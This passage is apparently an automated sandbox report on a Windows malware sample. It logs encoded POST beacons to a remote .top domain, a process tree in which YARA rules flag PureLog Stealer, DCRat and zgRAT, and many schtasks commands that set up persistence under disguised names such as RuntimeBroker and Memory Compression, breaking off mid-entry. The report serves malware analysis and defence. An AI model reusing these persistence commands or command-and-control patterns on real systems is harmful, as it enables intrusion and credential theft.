Jan 2, 2025 07:43:46.106070995 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:43:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	50014	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:43:48.648454905 CET	326	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:43:48.999847889 CET	344	OUT	Data Raw: 05 05 04 0d 06 0a 01 00 05 06 02 01 02 04 01 01 00 06 05 0f 02 0d 03 09 01 01 0a 06 05 02 01 50 0f 56 04 01 03 04 07 00 0e 57 02 0b 07 01 04 02 05 03 0f 01 0a 05 04 52 01 07 03 05 06 01 04 01 01 0b 0e 0b 07 54 04 08 0e 00 0b 0f 0c 0d 0c 06 02 00 Data Ascii: PVWRTUV\L~\|N~@vr_uv\|\|v]`Rtk]oYyolYbJh~pNc^hj_~V@@xSbbu
Jan 2, 2025 07:43:49.285562038 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:43:49.418426991 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:43:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	50015	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:43:52.273149967 CET	309	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:43:52.624927998 CET	344	OUT	Data Raw: 00 02 01 01 06 0a 01 01 05 06 02 01 02 03 01 05 00 01 05 0b 02 04 03 00 01 0f 0e 0c 07 01 00 06 0f 02 06 09 02 00 04 04 0f 06 07 0a 00 07 06 00 03 00 0d 09 0f 00 01 06 04 04 06 07 01 05 06 08 00 07 0c 0b 04 56 06 08 0f 07 0e 00 0e 0c 0c 55 05 0c Data Ascii: VUZWU\L}R\|c~@cqb]wupBkRaM`Bh~`tKxR{{^_Xh}^@cwliO~V@{S~L}rW
Jan 2, 2025 07:43:52.908746004 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:43:53.042171001 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:43:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Target ID:	0
Start time:	01:41:56
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\t8F7Ic986c.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\t8F7Ic986c.exe"
Imagebase:	0x7ff652ed0000
File size:	7'204'705 bytes
MD5 hash:	A4923D4DB3234B3905AD3097CC03AF46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:41:57
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\t8F7Ic986c.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\t8F7Ic986c.exe"
Imagebase:	0x7ff652ed0000
File size:	7'204'705 bytes
MD5 hash:	A4923D4DB3234B3905AD3097CC03AF46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:41:57
Start date:	02/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c start C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234
Imagebase:	0x7ff6f1620000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:41:57
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:41:57
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234
Imagebase:	0x7ff6c0350000
File size:	2'117'940 bytes
MD5 hash:	B0A28FF93B030B10FD70698A5A7C27D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 57%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:41:58
Start date:	02/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\1.bat" "
Imagebase:	0x7ff6f1620000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:41:58
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:41:58
Start date:	02/01/2025
Path:	C:\Chaindriver.sfx.exe
Wow64 process (32bit):	false
Commandline:	Chaindriver.sfx.exe -p1234
Imagebase:	0x7ff720b30000
File size:	1'903'066 bytes
MD5 hash:	9E935AF26F27628601A2A336CA24AEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000003.1681625695.0000019CC38A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 18%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:41:59
Start date:	02/01/2025
Path:	C:\Chaindriver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Chaindriver.exe"
Imagebase:	0x660000
File size:	1'917'952 bytes
MD5 hash:	64F81209BCCE8D36D800FEEC26D75990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000008.00000000.1683927613.0000000000662000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000008.00000002.1740441058.0000000012EBC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Chaindriver.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Chaindriver.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 10 /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "NOFqHeDosUIopsPGLT" /sc ONLOGON /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 12 /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline"
Imagebase:	0x7ff70e260000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES953C.tmp" "c:\Windows\System32\CSCE25282B3313D430FBB6BBFE2CFE4882.TMP"
Imagebase:	0x7ff660410000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "NOFqHeDosUIopsPGLT" /sc ONLOGON /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "NOFqHeDosUIopsPGLT" /sc ONLOGON /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:42:02
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 5 /tr "'C:\Recovery\Memory Compression.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Memory Compression" /sc ONLOGON /tr "'C:\Recovery\Memory Compression.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 8 /tr "'C:\Recovery\Memory Compression.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "ChaindriverC" /sc MINUTE /mo 11 /tr "'C:\Chaindriver.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Chaindriver" /sc ONLOGON /tr "'C:\Chaindriver.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "ChaindriverC" /sc MINUTE /mo 11 /tr "'C:\Chaindriver.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\lrFP7pOB0Z.bat"
Imagebase:	0x7ff6f1620000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff774450000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	01:42:03
Start date:	02/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff6502f0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:42:04
Start date:	02/01/2025
Path:	C:\Chaindriver.exe
Wow64 process (32bit):	false
Commandline:	C:\Chaindriver.exe
Imagebase:	0x850000
File size:	1'917'952 bytes
MD5 hash:	64F81209BCCE8D36D800FEEC26D75990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:42:04
Start date:	02/01/2025
Path:	C:\Chaindriver.exe
Wow64 process (32bit):	false
Commandline:	C:\Chaindriver.exe
Imagebase:	0xa0000
File size:	1'917'952 bytes
MD5 hash:	64F81209BCCE8D36D800FEEC26D75990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:42:04
Start date:	02/01/2025
Path:	C:\Recovery\Memory Compression.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\Memory Compression.exe"
Imagebase:	0x550000
File size:	1'917'952 bytes
MD5 hash:	64F81209BCCE8D36D800FEEC26D75990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\Memory Compression.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\Memory Compression.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:42:04
Start date:	02/01/2025
Path:	C:\Recovery\Memory Compression.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\Memory Compression.exe"
Imagebase:	0x6b0000
File size:	1'917'952 bytes
MD5 hash:	64F81209BCCE8D36D800FEEC26D75990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:42:05
Start date:	02/01/2025
Path:	C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe
Imagebase:	0x7c0000
File size:	1'917'952 bytes
MD5 hash:	64F81209BCCE8D36D800FEEC26D75990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	01:42:05
Start date:	02/01/2025
Path:	C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe
Imagebase:	0x820000
File size:	1'917'952 bytes
MD5 hash:	64F81209BCCE8D36D800FEEC26D75990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	01:42:08
Start date:	02/01/2025
Path:	C:\Chaindriver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Chaindriver.exe"
Imagebase:	0x380000
File size:	1'917'952 bytes
MD5 hash:	64F81209BCCE8D36D800FEEC26D75990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	01:42:12
Start date:	02/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zsJdcY9yPm.bat"
Imagebase:	0x7ff6f1620000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	01:42:12
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	01:42:12
Start date:	02/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff70f330000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	01:42:12
Start date:	02/01/2025
